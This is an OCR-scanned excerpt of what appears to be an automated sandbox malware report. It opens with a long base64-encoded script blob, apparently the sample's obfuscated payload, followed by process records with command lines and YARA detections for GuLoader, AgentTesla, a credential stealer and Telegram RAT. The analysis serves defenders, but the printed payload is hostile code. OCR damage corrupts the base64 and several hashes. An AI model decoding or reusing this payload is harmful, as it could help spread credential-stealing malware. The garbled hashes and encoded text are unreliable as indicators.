BhAG4AZABZAGEACgBrAGKAIABBAHQAJABhAGMAMWAGAEYAQQBOAEUARGBKACAATQBIAGWAJAAXACAADQAKACMARABIAGIADABhAG
4AdABIACAATABIAGQAZQBYACAAYWBSAGUACGBPACAARQBWAGKAZABPAGQAEQATACAAVQBUAHYAZQBUAGUANQAGAGCADWBIAGEAYW
BoAGUAZWBIACAATQBVAGQACWBOAG4AaQBUAGCAMQAGAFMATABVAFQAVABJAEQAIABRAHUAY QBSAGKAJABNADGAIABLAFYARWBBAF
YATABMAEUAIABVAEUARWBFACAAUWBUAEEAVABTAFMASWBBAFQAIABBAGIACWBOACAAVABYAGEAYWB0AGUADGBADKAIABPAHIACGBIACAACWBO
AGEAZWBWAGKAYgBIACAAUWBIAGOAaQBMAGKAbgAOACAACGBhAHYAZQBUACAATQBPAGSACYBVAHMAAWAXACAAUGBVAE4ARABTAFQA
WQBLAESARQAQAEIADABIAGGAY QBOAHQAZQBZACAADQAKAAOACIANAACAQQBKAGQALQBUAHKACABIACAALQBUAHKACABIAEQAZQBM
AGKAbgBpAHQAAQBVAGAAIABAACIADQAKAHUACWBPAGAAZWAGAFMAEQBZAHQAZQBIADSADQAKAHUACWBPAGAAZWAGAFMAEQBZAHQA
ZQBtAC4AUgB1AGAAJABPAGOAZQAUAEKAbGBOAGUACIBVAHAAUWBIAHIAdgBPAGMAZQBZADSADQAKAHAAIQBIAGWAaQBJACAACWBOAGEAIABDPAG
MAIABJAGWAY QBzAHMAIABUAGUACGBYAGEAawA1ADEADQAKAHSADQAKAFSARABSAGWASQBAHAAbWBYAHQAKAAIAGCAZABPADMAMg
AACKAXQBWAHUAYgBSAGKAYWAGAHMAABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABJAGAAJABQAHQACIAGAEUADGB1AGOARGBVAGAAJABZAEEA
KABZAHQACGBPAGAAZWAGAGOAY QBEAGUAYgASAHUAaQBUAHQAIABYAGUAJABYAGSAZABhAHQAZQBOACWAaQBUAHQAIABTAFQAUGBJ
AESAVgASAGKAbgBOACAAVABIAHIACGBhAGSANQAWACWAAQBUAHQAIABLAFIAUWBFAEWAUWASAGKAbgBOACAAUWBJAEWARQASAGKAbgBOACAASQ
BuAGQAJABhAHAACABIACKAOWANAAOAWWBEAGWADABIAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAGAEUAbgBOAHIAeQBQAGSA
aQBUAHQAPQAIAEMACGBIAGEAJABIAEYAaQBSAGUAQQAIACKAXQBWAHUAY gBSAGKAYWAGAHMAABhAHQAAQBJACAAZQBAAHQAZQBYAGAAIABIAG
4AdABQAHQACGAGAFYAaQBhAGMAKABDAEOAY QByAHMAaABhAGWAQQBZACIAVQBUAGOAY QBUAGEAZWBIAGQAVABSAHAAZQAUAEWAUA
BTAHQACGAPAFOACWBOAHIAaQBUAGCAIABIAGEAegBIAGIALABIAGKAbGBOACAACGBIAHQACGBVAGQAY QBOAGUAAASAGKAbgBOACAAUWBUAFIA
SQBLAFYALABPAGAAdAAGAFQAZQBYAHIAYQBrADUAMAASAGKAbgBOACAASWBSAFMARQBMAFMALABPAGAAdAAGAFMASQBMAEUALABp
AGA4AJAAGAEKADGBKAHQAY QBWAHAAZQAPADSADQAKAFSARABSAGWASQBIAHAAbWBYAHQAKAAIAGAAJABKAGWADAAIACKAXQBWAHUA
YgBSAGKAYWAGAHMAJABhAHQAAQBJACAAZQBAAHQAZQBYAGAAIABPAGAAJAAGAEAAJABBAGWADABVAGMAY QBOAGUAVIBPAHIAJABL
AGEAbABNAGUAbQBVAHIAeQA0AGKAbgBOACAAVABIAHIACGBhAGSANQA2ACWACYBIAGYAIABJAGAAJAAZADIAIABLAHIAaQBOAGKAaWBIAGUACY
BKADGALABPAGAAJAAGAFAAJQBIAGKAYWBVAHMAZQBMAGEANWASAHIAZQBMACAASQBUAHQAMWAYACAAVABIAHIACGBhAGSANQASAG
kAbgBOACAARABPAHMAYWBVAGOAbQBIAGAAMgASAGKAbGBOACAAVABIAHIACGBhAGSANQASACKAOWANAAOAWWBEAGWADABIAGOACABVAHIAJAAC
ACIASWBFAFIATgBFAEWAMWAYACIALAAGAEUAbgBOAHIAeQBQAG8AaQBUAHQAPQAIAFIAZQBhAGQARYBPAGWAZQAIACKAXQBWAHUAY gBSAGKAYw
AgAHMAJABhAHQAAQBJACAAZQBAAHQAZQBYAGAAIABPAGAAJAAGAEMARABBAEMAKABPAGAAdAAGAFAAIQBIAGKAYWBVAHMAZQBMAG
EANWAWACWAAQBpAGAAJAAGAFAAIQBIAGKAYWBVAHMAZQBMAGEANWAXACWASQBUAHQAUABOAHIAIABQAHUADQBPAGMAbWBZAGUAZg
BhADCAMgASAHIAZQBMACAASQBUAHQAMWAYACAAUABIAGOAaQBJAGBACWBIAG YAY QASADMALABPAGAAJAAGAFAAIQBIAGKAYWBVAH
MAZQBMAGEANWAOACKAOWANAACAWWBEAGWADABJIAGOACABVAHIAJAACACIAVQBTAEUAUGAZADIAIGAPAFOACABIAGIADABPAGMAIABZAHQAYQBO
AGKAYWAQAGUAeABOAGUACGBUACAASQBUAHQAUABOAHIAIABFAGAAIQBIAFCAaQBUAGQABWB3AHMAKABJIAGAAJABQAHQACGAJAFAAIQBIAGKAYW
BVAHMAZQBMAGEANWALACWAaQBUAHQAIABQAHUADQBPAGMAbWBZAGUAZgBhADCANGAPADSADQAKAAOACYBIAAOACIAIAEAADQAKAC
MAYgB1AHIAcgBIAGAAIABSAEUAVABDAEGASQBOAECAIABLAGIAZQBZAHUADQBZAHIAJQAGAFCAQQBZAFCAIABIAGEAZABIAGKAJQBIAG YAIABU
AFIARQBTACAAUgBFAECASQBPAE4AQQBMAEKAIABPAGAAaWBIAGUACGBYAGKAZQBZACAAUGBFAECASQBTAFQAUGAGAFIAY QBZAHQAZQBOAHUAZQ
BnAGUANQAQGAFAAZQBSAHYAaQBIAGUANQAGAFIAZQBIAGWADAAGAAOACIAKAFQAZQBYAHIAY QBrADUAMAIACIAIABIAGAAIGABAHQAZQBIAHAA
IgAgACSAIAAIAFWAVABYAGSAbABKAGUACWAUAGQAYQBOACIADQAKACMAQYBBAFUAVABBACAARGBSAESAVWBOACAAUABhAGWADQAY
AEUACABhAGA4AbWAGAE4AbWBUAGKADbGBjAHIAZQBhACAAVQBUAGUADQBIAGEAEQBIAGQAJQA4ACAAQYBFAE4AWGBIAE4AQWBIAEEAIABIAGBADY
BhAGKACGBIACAASQBEAEUAQQBMAFKASWAGAESATgBJAFAATABFACAATABhAGSACWBMADKAIABCAEUAQWBIAEEAIABGAGWAYQBZAG
SAZQBUAHMACWAGAEOAY QBZAHMAY QBrAHIAZQBYADYAIABTAGSAZQB3ACAARGBYAGSAdWBzAHQACWBOAHIAZQAGAEMAAABPAHIAZQBUAGBAdQA2
ACAAUgBVAEIAQBMAFKAUWBUAFIAIABPAGAAYWBpAGEACWBhAGOADQBIACAATWBWAHQAbWBPADQAIABTAHKAYWBhAGOAaQBUAGUAIABTAGEADA
BtAGKACWAGAAOACGAKAFQAZQBYAHIAY QBrADUAMWAIADAAOWANAACAIABUAGUACGBYAGEAaWATADKAPQAXADAANAAJADUANWA2AD
SADQAKACQAVABIAHIAcGBhAGSANQA4ADOAWWBUAGUACGBYAGEAawA1ADEAXQAGADOATGBOAEEADABSAGBAYWBhAHQAZQBWAGKACY
BOAHUAYQBSAEOAZQBIAGSACGB5SACALQAXACWAWWBYAGUAZGBIACQAVABIAHIACGBhAGSANQAZACWAMAASAFSACGBIAGY AXQAKAFQAZQBYAHIA
YQBrADUAOQASADEAMgAYADgAOAASADYANAAPAAOACIAAGQAaQBZAHAADABIAGEACWB1ACAAUWBIAGIACWBhAGWAJABKADCAIABIAHUAZWBOAH
UADABIAHIACWBOACAAUWBIAHAAbWBUADUAIABQAEUATGBTAEKATWBOAEUAUGBOACAAUWB2AHYAZQBMAGWAEQBIADMAIABUAFIATW
BMAEQATQBBACAAZWBhAHMAJABYAGBACABOAGKAIABIAGAAYWBOAGEAIABLAEWAQQBWAEUAUWAGAGOAbWBKAHIAZQBNAGA4AaQBUAC
AATQBJAEWASQBFAFUAUWAGAFMAbWBNAGCAZQBUACAARGBPAFIAVABBAEWARQBSAFMAIABMAGEADQBSAGYACGBPAGQAIABEAGKACW
BwADUAIABPAHAAaAB2ACAAUWBrAHUABABWAHQAIABIAGAACWBPAGQAaQAGAFMAaWB5AGY AbwAgAEMAbWBUAGKADGBIAGUANGAGAFIAZQBZAGUA
cgB2AGUAbWBMACAAdgBhAGKACGAGAE UAUABJAEQARQBNACAAQQBFAFIATWBNAEUAVAAGAFMARQBYAEYASQBMAEOAIABTAFQAQQBL
AE4ASQAQAECAY QBUAGCAYgBYAGUAZAAXACAAUWBY AFMAUABFAE4AIABDAHIAeQBWAHQAIABEAFKARWBUAEKARWBHAFIAQWAGAEQA
SQBTAFAAVQAGAAOACGAKAFQAZQBYAHIAY QBrADUANAAIAFSAVABIAHIACGBhAGSANQAXAFOAOGABAFYAaQBhAGMAKAAKAFQAZQBYAHIAYQBIAD
UAMgASADIAMQAOADCANAA4ADMANGAOADGALAAXACWAMAASADMALAAXADIAOAASADAAKQANAAOAIWBTAHUAY gBZACAASQBUAHQACY
BhAHQACGAGAFUAbgBMAHIAJQBPAHQAIABFAE4ARABFAEIAQQAJAFMAZQBUAHQAaQBUAGUAMWAGAFIAUGBMAEKAIABPAHUAJABWAHIAZQBIAGAA
cWBJADCAIABEAEUATgBTAEKAVABFAFQARQBSACAAUWBWAFUATABTAFQAIAANAAOAJABUAGUACYBYAGEAawATADUAPQAWADSADQAK
ACMARQBWAGKAZWBIAHUAOQAJAEIAZQBIAGGAaQB2AGUACWBWAGUANAAGAGOAY QBSAHQAaABIACAAYgBhAHMAJABPAGAAY QBKACAA
VABYAGSACABSAGEACWBOAGUANQAGAHUAZABZAGSACIBIACAASQBOAEQATWBLAFQAUGBJAE4AIABTAFQASYBFAFIATgBFACAATGBVAHQAZQBYAG
kAbgBNnADCAIABIAGUACWBIAGEAZAAGAFAAQQBOAFQAUWBUAE4ASQAGAFMAbABhAHMAaABPAGAANAAGAEWATWBUAEUAIABFAGOACABPAHIANGAY
AEKATgBOAESAVBBAFQASQAGAEUACWBOAGKADQBhAHQAIABXAHUAaQBZAHEAIABHAEEATABEAFIASQBNAEEATQBPACAARABCAEQA
SQBTAFAARQBSAECAQQAJAGOAbWBUAGBADABVAGCAIABYAHUAEABKAHKAYgBKAGUACAAGAEUATGBWAEKAUWBBAECAIABSAHUAZWBIACAARABPAE
8AUgBTAFQARQBBACAASWBIAG4AeQBhAGAAZQBYACAAUWBUAGKAZWBIAGBACGBKAGUACIA4ACAACABYAGKACWB2ACAAVABSAESAVQ
BCACAAVQBQAECAUgBPACAAQYB5AGCAZWBIAHQAaQBSADYAIABDAESAQQBDAEJARGBVAEWAVABIACAAQUBSAHIADWAXACAATGBVAGAACGBIAGEA
bABpAHMAMWAGAAOACGBbAFQAZQBYAHIAYQBrADUAMQBAADOAOGBDAEQAQQBDACJAJABUAGUACIBYAGEAaWA1ADQALAAKAFQAZQBY

AHIAY QBrADUAMWASADUAOAAZADQAMQASAFSACGBIAGYAXQAKAFQAZQBYAHIAYQBrADUANQASADAAKQANAACAIWBTAG SACIBKAGQAZQBYACAAZY
BgAGEAbgBOAGUAdgB5AHUAIABHAHUAZQBSADGAIABSAEUARABBAESAIABUAEKATABUACAASQBOAFYASQBUAEUAUGBFAE4AIABHAE
WAQQBEAEUAUWBUAEUAUWAGAHUAZWBYAHMACWBIAHQACWBOAHKAIABOAEEAVgBOAEUARGBMACAASABVAE4ARABFAE4ARQBTACAAYW
BhAHMAYWBhAGQAIABDAGEAbgBhAGEAbgBpAHQAaQAGAFUAbGBYAGUAIABWAGEAY gBSAGUANAAGAEgAeQBNAHIAbWBWAGYAIABOAC
AATABhAHAAaQBJAGKAZAASACAARWBhAHCAawBpACAAJABPAGQACWBhAGSACWBIACAAQQBNAGUACIBZAGUAIABhAGWAZQB1AHQAaQBhAGAACWAY
AGIAeQByAGEAYQBKAHMAbQAGAEUAbgBOAGUADABVAGQAbWAOACAAQUBSAEEATgBDAEGASQBPAEIARAAGAEMADWBYAHIAOAAGAFMA
dQBWAGUACGBhACAAUGBIAHMAY gBVAHIAZWAGAEgAbWB2AGUAZABIAGEAOQAGAFIARQBLAFIARQBFACAACWBOAGBACABIACAADQAKAFSAVABIAH
IACgBhAGSANQAXAFOAOGABAEUADGB1AGOAVWBPAGAAZABVAHCACWAOACQAVABIAHIACGBhAGSANQAZACWAIAAWACKADQAKAAOACGA=

Imagebase: 0x60000
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File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

433152 bytes
C32CA4ACFCC635ECIEABED8BA34DF5FAC
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000023.00000002.3337167137.0000000009500000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: conhost.exe PID: 1632, Parent PID: 6800

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

36

14:18:08

12/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff69d510000

875008 bytes
81CA40085FC75BABD2C91D18AA9IFFA68

true

true

C, C++ or other language

Analysis Process: csc.exe PID: 3528, Parent PID: 6800

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

37
14:18:36
12/05/2022

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline

0x9f0000

2141552 bytes
EB80BB1CA9BIC7F516FF69AFCFD75B7D
true

true

.Net C# or VB.NET

Analysis Process: cvtres.exe PID: 6136, Parent PID: 3528

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

38
14:18:37
12/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE

SF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BDOABCCBE4C73AB31BODCB5E94165. TMP"

0xa30000

46832 bytes
70D838A7DC5B359C3F938A71FAD77DB0
true

true

C, C++ or other language
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Analysis Process: CasPol.exe PID: 8376, Parent PID: 6800

General

Target ID: 39

Start time: 14:18:55

Start date: 12/05/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe

Imagebase: 0x810000

File size: 108664 bytes

MDS5 hash: 914F728C04D3EDDD5FBA59420E74E56B

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000027.00000000.3144110838.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Disassembly

@ No disassembly
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